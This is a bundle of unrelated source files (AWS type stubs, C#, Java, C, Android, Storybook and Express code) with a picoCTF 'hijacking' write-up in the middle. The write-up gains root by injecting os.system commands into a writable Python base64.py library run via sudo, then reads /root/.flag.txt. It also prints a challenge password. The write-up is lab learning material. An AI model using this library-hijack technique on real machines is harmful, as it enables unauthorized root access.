"RecordedAt": datetime,
"WorkloadSummary": "WorkloadSummaryTypeDef",
},
total=False,
)
MilestoneTypeDef = TypedDict(
"MilestoneTypeDef",
{
"MilestoneNumber": int,
"MilestoneName": str,
"RecordedAt": datetime,
"Workload": "WorkloadTypeDef",
},
total=False,
)
NotificationSummaryTypeDef = TypedDict(
"NotificationSummaryTypeDef",
{
"Type": NotificationTypeType,
"LensUpgradeSummary": "LensUpgradeSummaryTypeDef",
},
total=False,
)
PillarDifferenceTypeDef = TypedDict(
"PillarDifferenceTypeDef",
{
"PillarId": str,
"PillarName": str,
"DifferenceStatus": DifferenceStatusType,
"QuestionDifferences": List["QuestionDifferenceTypeDef"],
},
total=False,
)
PillarMetricTypeDef = TypedDict(
"PillarMetricTypeDef",
{
"PillarId": str,
"RiskCounts": Dict[RiskType, int],
"Questions": List["QuestionMetricTypeDef"],
},
total=False,
)
PillarReviewSummaryTypeDef = TypedDict(
"PillarReviewSummaryTypeDef",
{
"PillarId": str,
"PillarName": str,
"Notes": str,
"RiskCounts": Dict[RiskType, int],
},
total=False,
)
QuestionDifferenceTypeDef = TypedDict(
"QuestionDifferenceTypeDef",
{
"QuestionId": str,
"QuestionTitle": str,
"DifferenceStatus": DifferenceStatusType,
},
total=False,
)
QuestionMetricTypeDef = TypedDict(
"QuestionMetricTypeDef",
{
"QuestionId": str,
"Risk": RiskType,
"BestPractices": List["BestPracticeTypeDef"],
},
total=False,
)
ResponseMetadataTypeDef = TypedDict(
"ResponseMetadataTypeDef",
{
"RequestId": str,
"HostId": str,
"HTTPStatusCode": int,
"HTTPHeaders": Dict[str, Any],
"RetryAttempts": int,
},
)
ShareInvitationSummaryTypeDef = TypedDict(
"ShareInvitationSummaryTypeDef",
{
"ShareInvitationId": str,
"SharedBy": str,
"SharedWith": str,
"PermissionType": PermissionTypeType,
"ShareResourceType": ShareResourceTypeType,
"WorkloadName": str,
"WorkloadId": str,
"LensName": str,
"LensArn": str,
},
total=False,
)
ShareInvitationTypeDef = TypedDict(
"ShareInvitationTypeDef",
{
"ShareInvitationId": str,
"ShareResourceType": ShareResourceTypeType,
"WorkloadId": str,
"LensAlias": str,
"LensArn": str,
},
total=False,
)
TagResourceInputRequestTypeDef = TypedDict(
"TagResourceInputRequestTypeDef",
{
"WorkloadArn": str,
"Tags": Dict[str, str],
},
)
UntagResourceInputRequestTypeDef = TypedDict(
"UntagResourceInputRequestTypeDef",
{
"WorkloadArn": str,
"TagKeys": List[str],
},
)
_RequiredUpdateAnswerInputRequestTypeDef = TypedDict(
"_RequiredUpdateAnswerInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
"QuestionId": str,
},
)
_OptionalUpdateAnswerInputRequestTypeDef = TypedDict(
"_OptionalUpdateAnswerInputRequestTypeDef",
{
"SelectedChoices": List[str],
"ChoiceUpdates": Dict[str, "ChoiceUpdateTypeDef"],
"Notes": str,
"IsApplicable": bool,
"Reason": AnswerReasonType,
},
total=False,
)
class UpdateAnswerInputRequestTypeDef(
_RequiredUpdateAnswerInputRequestTypeDef, _OptionalUpdateAnswerInputRequestTypeDef
):
pass
UpdateAnswerOutputTypeDef = TypedDict(
"UpdateAnswerOutputTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
"LensArn": str,
"Answer": "AnswerTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
UpdateGlobalSettingsInputRequestTypeDef = TypedDict(
"UpdateGlobalSettingsInputRequestTypeDef",
{
"OrganizationSharingStatus": OrganizationSharingStatusType,
},
total=False,
)
_RequiredUpdateLensReviewInputRequestTypeDef = TypedDict(
"_RequiredUpdateLensReviewInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
},
)
_OptionalUpdateLensReviewInputRequestTypeDef = TypedDict(
"_OptionalUpdateLensReviewInputRequestTypeDef",
{
"LensNotes": str,
"PillarNotes": Dict[str, str],
},
total=False,
)
class UpdateLensReviewInputRequestTypeDef(
_RequiredUpdateLensReviewInputRequestTypeDef, _OptionalUpdateLensReviewInputRequestTypeDef
):
pass
UpdateLensReviewOutputTypeDef = TypedDict(
"UpdateLensReviewOutputTypeDef",
{
"WorkloadId": str,
"LensReview": "LensReviewTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
UpdateShareInvitationInputRequestTypeDef = TypedDict(
"UpdateShareInvitationInputRequestTypeDef",
{
"ShareInvitationId": str,
"ShareInvitationAction": ShareInvitationActionType,
},
)
UpdateShareInvitationOutputTypeDef = TypedDict(
"UpdateShareInvitationOutputTypeDef",
{
"ShareInvitation": "ShareInvitationTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredUpdateWorkloadInputRequestTypeDef = TypedDict(
"_RequiredUpdateWorkloadInputRequestTypeDef",
{
"WorkloadId": str,
},
)
_OptionalUpdateWorkloadInputRequestTypeDef = TypedDict(
"_OptionalUpdateWorkloadInputRequestTypeDef",
{
"WorkloadName": str,
"Description": str,
"Environment": WorkloadEnvironmentType,
"AccountIds": List[str],
"AwsRegions": List[str],
"NonAwsRegions": List[str],
"PillarPriorities": List[str],
"ArchitecturalDesign": str,
"ReviewOwner": str,
"IsReviewOwnerUpdateAcknowledged": bool,
"IndustryType": str,
"Industry": str,
"Notes": str,
"ImprovementStatus": WorkloadImprovementStatusType,
"DiscoveryConfig": "WorkloadDiscoveryConfigTypeDef",
"Applications": List[str],
},
total=False,
)
class UpdateWorkloadInputRequestTypeDef(
_RequiredUpdateWorkloadInputRequestTypeDef, _OptionalUpdateWorkloadInputRequestTypeDef
):
pass
UpdateWorkloadOutputTypeDef = TypedDict(
"UpdateWorkloadOutputTypeDef",
{
"Workload": "WorkloadTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
UpdateWorkloadShareInputRequestTypeDef = TypedDict(
"UpdateWorkloadShareInputRequestTypeDef",
{
"ShareId": str,
"WorkloadId": str,
"PermissionType": PermissionTypeType,
},
)
UpdateWorkloadShareOutputTypeDef = TypedDict(
"UpdateWorkloadShareOutputTypeDef",
{
"WorkloadId": str,
"WorkloadShare": "WorkloadShareTypeDef",
"ResponseMetadata": "ResponseMetadataTypeDef",
},
)
_RequiredUpgradeLensReviewInputRequestTypeDef = TypedDict(
"_RequiredUpgradeLensReviewInputRequestTypeDef",
{
"WorkloadId": str,
"LensAlias": str,
"MilestoneName": str,
},
)
_OptionalUpgradeLensReviewInputRequestTypeDef = TypedDict(
"_OptionalUpgradeLensReviewInputRequestTypeDef",
{
"ClientRequestToken": str,
},
total=False,
)
class UpgradeLensReviewInputRequestTypeDef(
_RequiredUpgradeLensReviewInputRequestTypeDef, _OptionalUpgradeLensReviewInputRequestTypeDef
):
pass
VersionDifferencesTypeDef = TypedDict(
"VersionDifferencesTypeDef",
{
"PillarDifferences": List["PillarDifferenceTypeDef"],
},
total=False,
)
WorkloadDiscoveryConfigTypeDef = TypedDict(
"WorkloadDiscoveryConfigTypeDef",
{
"TrustedAdvisorIntegrationStatus": TrustedAdvisorIntegrationStatusType,
},
total=False,
)
WorkloadShareSummaryTypeDef = TypedDict(
"WorkloadShareSummaryTypeDef",
{
"ShareId": str,
"SharedWith": str,
"PermissionType": PermissionTypeType,
"Status": ShareStatusType,
"StatusMessage": str,
},
total=False,
)
WorkloadShareTypeDef = TypedDict(
"WorkloadShareTypeDef",
{
"ShareId": str,
"SharedBy": str,
"SharedWith": str,
"PermissionType": PermissionTypeType,
"Status": ShareStatusType,
"WorkloadName": str,
"WorkloadId": str,
},
total=False,
)
WorkloadSummaryTypeDef = TypedDict(
"WorkloadSummaryTypeDef",
{
"WorkloadId": str,
"WorkloadArn": str,
"WorkloadName": str,
"Owner": str,
"UpdatedAt": datetime,
"Lenses": List[str],
"RiskCounts": Dict[RiskType, int],
"ImprovementStatus": WorkloadImprovementStatusType,
},
total=False,
)
WorkloadTypeDef = TypedDict(
"WorkloadTypeDef",
{
"WorkloadId": str,
"WorkloadArn": str,
"WorkloadName": str,
"Description": str,
"Environment": WorkloadEnvironmentType,
"UpdatedAt": datetime,
"AccountIds": List[str],
"AwsRegions": List[str],
"NonAwsRegions": List[str],
"ArchitecturalDesign": str,
"ReviewOwner": str,
"ReviewRestrictionDate": datetime,
"IsReviewOwnerUpdateAcknowledged": bool,
"IndustryType": str,
"Industry": str,
"Notes": str,
"ImprovementStatus": WorkloadImprovementStatusType,
"RiskCounts": Dict[RiskType, int],
"PillarPriorities": List[str],
"Lenses": List[str],
"Owner": str,
"ShareInvitationId": str,
"Tags": Dict[str, str],
"DiscoveryConfig": "WorkloadDiscoveryConfigTypeDef",
"Applications": List[str],
},
total=False,
)
|
using System;
#if NETCORE
using Microsoft.AspNetCore.Http;
#endif
#if NETFRAMEWORK
using System.Web;
#endif
namespace QoDL.Toolkit.Module.EndpointControl.Models;
/// <summary>
/// Contains details about a request.
/// </summary>
public class EndpointControlEndpointRequestData
{
/// <summary>
/// Time of the request. Defaults to now.
/// </summary>
public DateTimeOffset Timestamp { get; set; } = DateTimeOffset.Now;
/// <summary>
/// Name of the endpoint.
/// </summary>
public string EndpointName { get; set; }
/// <summary>
/// Unique id of the endpoint.
/// </summary>
public string EndpointId { get; set; }
/// <summary>
/// Ip address or something similar to identify the location.
/// <para>Defaults to first of <c>CF-Connecting-IP</c>, <c>X-Forwarded-For</c>, <c>HTTP_X_FORWARDED_FOR</c>, <c>REMOTE_ADDR</c> and <c>UserHostAddress</c></para>
/// </summary>
public string UserLocationId { get; set; }
/// <summary>
/// User-agent string.
/// </summary>
public string UserAgent { get; set; }
/// <summary>
/// Http method of the request.
/// </summary>
public string HttpMethod { get; set; }
/// <summary>
/// Target controller type for the request.
/// </summary>
public Type ControllerType { get; set; }
/// <summary>
/// Target controller for the request.
/// </summary>
public string ControllerName { get; set; }
/// <summary>
/// Target action for the request.
/// </summary>
public string ActionName { get; set; }
/// <summary>
/// Full url of the request.
/// </summary>
public string Url { get; set; }
/// <summary>
/// This property will be updated by the service with the result.
/// </summary>
public bool WasBlocked { get; set; }
/// <summary>
/// Id if any of the rule that caused request to be blocked.
/// <para>Updated by the service.</para>
/// </summary>
public Guid? BlockingRuleId { get; set; }
#if NETFULL
/// <summary>
/// Current HTTP context.
/// </summary>
public HttpContextBase HttpContext { get; internal set; }
#endif
#if NETCORE
/// <summary>
/// Current HTTP context.
/// </summary>
public HttpContext HttpContext { get; internal set; }
#endif
}
|
package com.example.driver.controller;
import com.example.driver.dto.DriverDTO;
import com.example.driver.dto.DriverListDTO;
import com.example.driver.service.DriverService;
import lombok.RequiredArgsConstructor;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.Pageable;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.List;
@RestController
@RequestMapping("/driver")
@RequiredArgsConstructor
public class DriverController {
private final DriverService driverService;
@PostMapping
public ResponseEntity<DriverDTO> create(@RequestBody DriverDTO dto) {
DriverDTO createdDriverDTO = driverService.create(dto);
return ResponseEntity.status(HttpStatus.CREATED).body(createdDriverDTO);
}
@GetMapping
public ResponseEntity<Page<DriverDTO>> getAllDrivers(Pageable pageable) {
Page<DriverDTO> driverPage = driverService.getAllDrivers(pageable);
return ResponseEntity.ok(driverPage);
}
@GetMapping("/{id}")
public ResponseEntity<DriverDTO> readById(@PathVariable Long id) {
DriverDTO driverDTO = driverService.readById(id);
if (driverDTO != null) {
return ResponseEntity.ok(driverDTO);
} else {
return ResponseEntity.notFound().build();
}
}
@GetMapping("/lastName")
public ResponseEntity<DriverListDTO> readByLastName(@RequestParam("lastName") String lastName) {
List<DriverDTO> drivers = driverService.readByLastName(lastName);
DriverListDTO driverListDTO = new DriverListDTO(drivers);
return ResponseEntity.ok(driverListDTO);
}
@GetMapping("/available")
public List<DriverDTO> getAvailableDrivers() {
List<DriverDTO> driverDTOs = driverService.findAvailableDrivers();
return driverDTOs;
}
@PutMapping("/{id}")
public ResponseEntity<DriverDTO> update(
@RequestBody DriverDTO dto,
@PathVariable Long id
) {
DriverDTO updatedDriverDTO = driverService.update(dto, id);
if (updatedDriverDTO != null) {
return ResponseEntity.ok(updatedDriverDTO);
} else {
return ResponseEntity.notFound().build();
}
}
@DeleteMapping("/{id}")
public ResponseEntity<Void> delete(@PathVariable Long id) {
driverService.delete(id);
return ResponseEntity.noContent().build();
}
@PutMapping("/{id}/toggle-availability")
public ResponseEntity<DriverDTO> toggleDriverAvailability(@PathVariable("id") Long id) {
DriverDTO updatedDriverDTO = driverService.toggleAvailability(id);
if (updatedDriverDTO != null) {
return ResponseEntity.ok(updatedDriverDTO);
} else {
return ResponseEntity.notFound().build();
}
}
}
|
#include "declare.h"
/**
* addNode - Add a new node to the start of the list.
*
* @head: A pointer to the address of the head node.
* @str: The string to be stored in the new node.
* @num: The index used by history.
* Return: A pointer to the newly created node.
*/
list_t *addNode(list_t **head, const char *str, int num)
{
list_t *newNode;
if (!head)
return (NULL);
newNode = malloc(sizeof(list_t));
if (!newNode)
return (NULL);
_memset((void *)newNode, 0, sizeof(list_t));
newNode->num = num;
if (str)
{
newNode->str = string_duplicate(str);
if (!newNode->str)
{
free(newNode);
return (NULL);
}
}
newNode->next = *head;
*head = newNode;
return (newNode);
}
/**
* addNode_end - Add a new node to the end of the list.
*
* @head: A pointer to the address of the head node.
* @str: The string to be stored in the new node.
* @num: The index used by history.
* Return: A pointer to the newly created node.
*/
list_t *addNode_end(list_t **head, const char *str, int num)
{
list_t *newNode, *node;
if (!head)
return (NULL);
node = *head;
newNode = malloc(sizeof(list_t));
if (!newNode)
return (NULL);
_memset((void *)newNode, 0, sizeof(list_t));
newNode->num = num;
if (str)
{
newNode->str = string_duplicate(str);
if (!newNode->str)
{
free(newNode);
return (NULL);
}
}
if (node)
{
while (node->next)
node = node->next;
node->next = newNode;
}
else
*head = newNode;
return (newNode);
}
/**
* printListStr - Print only the 'str' element of a list_t linked list.
*
* @h: A pointer to the first node.
* Return: The size of the list.
*/
size_t printListStr(const list_t *h)
{
size_t i = 0;
while (h)
{
print_string(h->str ? h->str : "(nil)");
print_string("\n");
h = h->next;
i++;
}
return (i);
}
/**
* deleteNodeAtIndex - Delete a node at a given index.
*
* @head: A pointer to the address of the head node.
* @index: The index of the node to delete.
* Return: 1 on success, 0 on failure.
*/
int deleteNodeAtIndex(list_t **head, unsigned int index)
{
list_t *node, *prevNode;
unsigned int i = 0;
if (!head || !*head)
return (0);
if (!index)
{
node = *head;
*head = (*head)->next;
free(node->str);
free(node);
return (1);
}
node = *head;
while (node)
{
if (i == index)
{
prevNode->next = node->next;
free(node->str);
free(node);
return (1);
}
i++;
prevNode = node;
node = node->next;
}
return (0);
}
/**
* freeList - Free all nodes of a list.
*
* @headPtr: A pointer to the address of the head node.
* Return: void
*/
void freeList(list_t **headPtr)
{
list_t *node, *nextNode, *head;
if (!headPtr || !*headPtr)
return;
head = *headPtr;
node = head;
while (node)
{
nextNode = node->next;
free(node->str);
free(node);
node = nextNode;
}
*headPtr = NULL;
}
|
#include <stddef.h>
#include <stdbool.h>
#include "cl_node.h"
#ifndef CL_LINKED_LIST_H
#define CL_LINKED_LIST_H
/*
// TODO: generic advance and retreat functions to allow customizable navigation with modifications for doubly linked
adding NEXT attribute to LInkedList data structure
LinkedList_set_NEXT(LinkedList * ll, int NEXT_attribute) {
ll->NEXT = NEXT_attribute; // e.g. NODE_NEXT, NODE_PREV
}
Node * LinkedList_move(LinkedList * ll, Node * current, int attribute, long long step) {
if (step > 0) {
move forward in linked list
} else if (step < 0) {
move backward in linked list
}
return current;
}
*/
typedef struct LinkedList {
NodeAttributes * NA;
Node * head;
size_t size;
} LinkedList;
typedef struct LinkedListIterator {
LinkedList * ll;
Node * node;
enum iterator_status stop;
} LinkedListIterator, LinkedListIteratorIterator;
LinkedList * LinkedList_new(unsigned int flags, int narg_pairs, ...);
void LinkedList_init(LinkedList * ll, NodeAttributes * NA);
void LinkedList_del(LinkedList * ll);
void LinkedList_reverse(LinkedList * ll);
size_t LinkedList_size(LinkedList * ll);
bool LinkedList_is_empty(LinkedList * ll);
bool LinkedList_contains(LinkedList * ll, void * value, int (*comp)(void*, void*));
enum cl_status LinkedList_extend(LinkedList * dest, LinkedList * src);
void * LinkedList_peek_front(LinkedList * ll);
void * LinkedList_peek_back(LinkedList * ll);
void * LinkedList_get(LinkedList * ll, size_t index);
enum cl_status LinkedList_insert(LinkedList * ll, size_t loc, void * val);
enum cl_status LinkedList_push_front(LinkedList * ll, void * val);
enum cl_status LinkedList_push_back(LinkedList * ll, void * val);
void * LinkedList_remove(LinkedList * ll, size_t loc);
void * LinkedList_pop_front(LinkedList * ll);
void * LinkedList_pop_back(LinkedList * ll);
// generally should only use this if the elements are unique in the value or you are sure you only want the first occurrence
// for all other use cases, the filter functionality is better.
void * LinkedList_find(LinkedList * ll, void * value, int (*comp)(void*, void*));
//Iterators
void LinkedListIterator_init(LinkedListIterator * ll_iter, LinkedList * ll);
void * LinkedListIterator_next(LinkedListIterator * ll_iter);
enum iterator_status LinkedListIterator_stop(LinkedListIterator * ll_iter);
void LinkedListIteratorIterator_init(LinkedListIteratorIterator * ll_iter_iter, LinkedListIterator * ll_iter);
void * LinkedListIteratorIterator_next(LinkedListIteratorIterator * ll_iter);
enum iterator_status LinkedListIteratorIterator_stop(LinkedListIteratorIterator * ll_iter);
#endif // CL_LINKED_LIST_H
|
namespace Arinc424.Attributes;
/// <summary>
/// Specifies the range of a field within an ARINC-424 string. Must come before <see cref="FieldAttribute{TRecord}"/>.
/// </summary>
/// <inheritdoc/>
[AttributeUsage(AttributeTargets.Property)]
internal class FieldAttribute(int start, int end) : RangeAttribute(start, end)
{
internal virtual bool IsMatch<TMatch>() where TMatch : Record424 => false;
}
/// <summary>
/// Specifies the target field range for <typeparamref name="TRecord"/> within an ARINC-424 string.
/// Used by sequence or base types to define different ranges.
/// </summary>
/// <inheritdoc/>
/// <typeparam name="TRecord">Target record type in which the field is defined.</typeparam>
[AttributeUsage(AttributeTargets.Property, AllowMultiple = true)]
internal class FieldAttribute<TRecord>(int start, int end) : FieldAttribute(start, end) where TRecord : Record424
{
internal override bool IsMatch<TMatch>() => typeof(TMatch).IsAssignableTo(typeof(TRecord));
}
|
# hijacking
main objective is privelige escalation. now first when we `ls` we get a blank output because our file is hidden, so we use `ls -al` and we find a python file called server.py that has root priviliges to edit only
```
picoctf@challenge:~$ ls -al
-rw-r--r-- 1 root root 375 Mar 16 2023 .server.py
```
seeing inside that python file we see that imports a bunch of libraries and execution command.
```python
import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip)
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info)
```
though when we can't actually run this file because picoctf.org itself doesn't exist as a host
```
picoctf@challenge:~$ python3 ./.server.py
sh: 1: ping: not found
Traceback (most recent call last):
File "./.server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
```
but point being is that we have a file that runs on root till line 7 and imports a bunch of python libraries. The challenge file tells us to mess with a python file.
**THIS IS EXPLOITABLE 😃**
so there are three libraries base64, os, socket. so we need to find where these libraries are located. after googling, it is known that they are located at `/usr/lib/python{version}`.
```
picoctf@challenge:/usr/lib/python3.8$ ls -al base64.py socket.py os.py
-rwxrwxrwx 1 root root 20382 May 26 14:05 base64.py
-rw-r--r-- 1 root root 38995 May 26 14:05 os.py
-rw-r--r-- 1 root root 35243 May 26 14:05 socket.py
```
we see that we have edit previliges for base64.py. THEY ARE ASKING FOR IT. so we have to edit some code in here to run any command for us in root level.
so we need to edit base64.py including os and running remote commands
after trying i realized i hadn't done an important step, which was to check which commands i had sudo access to
```
picoctf@challenge:/usr/lib/python3.8$ sudo -l
Matching Defaults entries for picoctf on challenge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User picoctf may run the following commands on challenge:
(ALL) /usr/bin/vi
(root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py
```
and our work was made way easier. as, if we run the command `sudo /usr/bin/python3 /home/picoctf/.server.py` it will run without password on root. and `vi` can be used on all files that is available for the user.
Now we edit base64.py with executable commands and run them.
```python
#! /usr/bin/python3.8
"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""
# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere
import re
import struct
import binascii
import os
os.system("id") # Commmand added
__all__ = [
...
```
```
picoctf@challenge:~$ sudo /usr/bin/python3 /home/picoctf/.server.py
uid=0(root) gid=0(root) groups=0(root)
sh: 1: ping: not found
Traceback (most recent call last):
File "/home/picoctf/.server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
```
**WE GOT ROOT ACCESS 🥳🥳**
now is just to search for where this flag is, i searched around the parts that weren't accessible and found root and challenge folders were unaccesible, so digging in them we find flag
```
import os
os.system("ls -al /")
os.system("ls -al /root")
os.system("ls -al /challenge")
os.system("cat /challenge/metadata.json")
print("")
os.system("cat /root/.flag.txt")
```
```
picoctf@challenge:~$ sudo /usr/bin/python3 /home/picoctf/.server.py
total 0
drwxr-xr-x 1 root root 51 Oct 29 06:10 .
drwxr-xr-x 1 root root 51 Oct 29 06:10 ..
-rwxr-xr-x 1 root root 0 Oct 29 06:10 .dockerenv
lrwxrwxrwx 1 root root 7 Mar 8 2023 bin -> usr/bin
drwxr-xr-x 2 root root 6 Apr 15 2020 boot
d--------- 1 root root 6 Aug 4 21:12 challenge
drwxr-xr-x 5 root root 340 Oct 29 06:10 dev
drwxr-xr-x 1 root root 66 Oct 29 06:10 etc
drwxr-xr-x 1 root root 21 Aug 4 21:10 home
lrwxrwxrwx 1 root root 7 Mar 8 2023 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Mar 8 2023 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Mar 8 2023 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Mar 8 2023 libx32 -> usr/libx32
drwxr-xr-x 2 root root 6 Mar 8 2023 media
drwxr-xr-x 2 root root 6 Mar 8 2023 mnt
drwxr-xr-x 2 root root 6 Mar 8 2023 opt
dr-xr-xr-x 2402 nobody nogroup 0 Oct 29 06:10 proc
drwx------ 1 root root 23 Aug 4 21:12 root
drwxr-xr-x 1 root root 54 Oct 29 06:10 run
lrwxrwxrwx 1 root root 8 Mar 8 2023 sbin -> usr/sbin
drwxr-xr-x 2 root root 6 Mar 8 2023 srv
dr-xr-xr-x 13 nobody nogroup 0 Oct 29 06:10 sys
drwxrwxrwt 1 root root 6 Aug 4 21:12 tmp
drwxr-xr-x 1 root root 29 Mar 8 2023 usr
drwxr-xr-x 1 root root 28 Mar 8 2023 var
total 12
drwx------ 1 root root 23 Aug 4 21:12 .
drwxr-xr-x 1 root root 51 Oct 29 06:10 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 43 Aug 4 21:12 .flag.txt
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
total 4
d--------- 1 root root 6 Aug 4 21:12 .
drwxr-xr-x 1 root root 51 Oct 29 06:10 ..
-rw-r--r-- 1 root root 103 Aug 4 21:12 metadata.json
{"flag": "picoCTF{pYth0nn_libraryH!j@CK!n9_6924176e}", "username": "picoctf", "password": "16IiP0AsuU"}
picoCTF{pYth0nn_libraryH!j@CK!n9_6924176e}
sh: 1: ping: not found
Traceback (most recent call last):
File "/home/picoctf/.server.py", line 7, in <module>
host_info = socket.gethostbyaddr(ip)
socket.gaierror: [Errno -5] No address associated with hostname
```
UPDATE:
I did google after this other writeups and found this site exists called [GTFObins](https://gtfobins.github.io/) which has commands used to bypass local security restrictions. as we had vi access to (ALL) we can just use this command to have super user access

|
package com.cookandroid.movie;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.recyclerview.widget.RecyclerView;
import java.util.List;
public class MovieAdapter extends RecyclerView.Adapter<MovieAdapter.MovieViewHolder> {
private List<Movie> movieList;//빈껍데기
public MovieAdapter(List<Movie> movieList){
this.movieList = movieList;
}
@NonNull
@Override
public MovieAdapter.MovieViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view = LayoutInflater.from(parent.getContext())
.inflate(R.layout.item_list,parent,false);
MovieViewHolder viewHolder = new MovieViewHolder(view);
return viewHolder;
}
@Override
public void onBindViewHolder(@NonNull MovieViewHolder holder, int position) {
Movie movie = movieList.get(position);
holder.txId.setText(Integer.toString(movie.getId()));
holder.txName.setText(movie.getName());
holder.txAge.setText(Integer.toString(movie.getAge()));
holder.txIntro.setText(movie.getIntro());
}
@Override
public int getItemCount() {
return (null !=movieList ? movieList.size():0);
}
public class MovieViewHolder extends RecyclerView.ViewHolder{
protected TextView txId,txName,txAge,txIntro;
public MovieViewHolder(@NonNull View itemView){
super(itemView);
this.txId = itemView.findViewById(R.id.txId);
this.txName = itemView.findViewById(R.id.txName);
this.txAge = itemView.findViewById(R.id.txAge);
this.txIntro = itemView.findViewById(R.id.txIntro);
}
}
}
|
import * as React from 'react'
import * as yup from 'yup'
import { FormikHelpers } from 'formik'
import { action } from '@storybook/addon-actions'
import { text } from '@storybook/addon-knobs'
import { Story, Meta } from '@storybook/react/types-6-0'
import { image, internet, lorem } from 'faker'
import Subreddit, { Values, Props } from './Subreddit'
const story: Meta = {
title: 'pages/Subreddit',
component: Subreddit,
argTypes: {},
}
const handleSubmit =
(eventName = 'onSubmit', timeout = 2000) =>
(values: Values, formikHelpers: FormikHelpers<Values>) => {
setTimeout(() => {
formikHelpers.setSubmitting(false)
action(eventName)(values)
}, timeout)
}
const validationSchema = yup.object().shape({
subreddit: yup.string().required(),
})
const mockData = Array.from(new Array(10), () => ({
title: lorem.words(),
thumbnail: image.imageUrl(),
selftext: lorem.sentences(),
permalink: internet.url(),
}))
const Template: Story<Props> = (args) => <Subreddit {...args} />
export const component = Template.bind({})
component.args = {
initialValues: { subreddit: text('subreddit', 'text') },
isLoading: false,
onSubmit: handleSubmit(),
validationSchema,
posts: mockData,
onLinkClick: (e: React.MouseEvent<HTMLAnchorElement>) => {
e.preventDefault()
action('onLinkClick')(e.target)
},
}
component.storyName = 'default'
export const regression = Template.bind({})
regression.args = {
initialValues: { subreddit: text('subreddit', 'text') },
isLoading: false,
onSubmit: handleSubmit(),
validationSchema,
posts: mockData,
onLinkClick: (e: React.MouseEvent<HTMLAnchorElement>) => {
e.preventDefault()
action('onLinkClick')(e.target)
},
}
regression.storyName = 'regression'
export const isLoading = Template.bind({})
isLoading.args = {
initialValues: { subreddit: '' },
isLoading: true,
onSubmit: handleSubmit(),
validationSchema,
posts: [],
onLinkClick: (e: React.MouseEvent<HTMLAnchorElement>) => {
e.preventDefault()
action('onLinkClick')(e.target)
},
}
isLoading.storyName = 'isLoading'
export const noData = Template.bind({})
noData.args = {
initialValues: { subreddit: '' },
isLoading: false,
onSubmit: handleSubmit(),
validationSchema,
posts: [],
onLinkClick: (e: React.MouseEvent<HTMLAnchorElement>) => {
e.preventDefault()
action('onLinkClick')(e.target)
},
}
noData.storyName = 'no data'
export default story
|
const { Order } = require("../models/Order");
const { OrderItem } = require("../models/Orderitem");
const User = require("../models/User");
exports.GetOrders = async (req, res) => {
const orderList = await Order.find()
.populate("user", "name")
.sort({ dateOrdered: -1 });
if (!orderList) {
res.status(500).json({ success: false });
}
res.send(orderList);
};
// Get a single order by its ID
exports.GetSingleOrder = async (req, res) => {
try {
const order = await Order.findById(req.params.id)
.populate("user", "name")
.populate({
path: "orderItems",
populate: {
path: "product",
populate: "category",
},
});
if (!order) {
res.status(400).json({
success: false,
message: "Order not Found",
});
}
res.status(200).json({
success: true,
data: order,
});
} catch (error) {
res.status(500).json({ error: error, message: "Server Error" });
}
};
// Create an new order
exports.CreateNewOrder = async (req, res) => {
try {
const existingOrder = Order.findOne({ _id: req.body._id });
if (existingOrder)
return res
.status(400)
.json({ message: "Order Already Created ", success: false });
const orderItemsIds = Promise.all(
req.body.orderItems.map(async (orderItem) => {
let newOrderItem = new OrderItem({
quantity: orderItem.quantity,
product: orderItem.product,
});
newOrderItem = await newOrderItem.save();
return newOrderItem._id;
})
);
const orderItemsIdsResolved = await orderItemsIds;
const totalPrices = await Promise.all(
orderItemsIdsResolved.map(async (orderItemId) => {
const orderItem = await OrderItem.findById(orderItemId).populate(
"product",
"price"
);
const totalPrice = orderItem.product.price * orderItem.quantity;
return totalPrice;
})
);
const totalPrice = totalPrices.reduce((a, b) => a + b, 0);
const emailUser = req.body.email;
const colors = req.body.color;
console.log(colors);
const user = await User.findOne({ email: emailUser });
if (user) {
let order = new Order({
orderItems: orderItemsIdsResolved,
streetAddress: req.body.streetAddress,
paymentID: req.body.paymentID,
fname: req.body.fname,
lname: req.body.lname,
city: req.body.city,
company: req.body.company,
state: req.body.state,
email: req.body.email,
Onote: req.body.Onote,
color: req.body.color,
zip: req.body.zip,
country: req.body.country,
phone: req.body.phone,
status: req.body.status,
totalPrice: totalPrice,
user: user._id,
});
order = await order.save();
if (!order)
return res.status(400).json({
success: false,
message: "the order cannot be created!",
statusCode: 400,
});
res.status(201).json({
success: true,
message: "the order is created succesfully",
statusCode: 201,
data: order,
});
}
} catch (error) {
res.json({ error: error, message: "Server error" }).status(500);
}
};
// Update an order
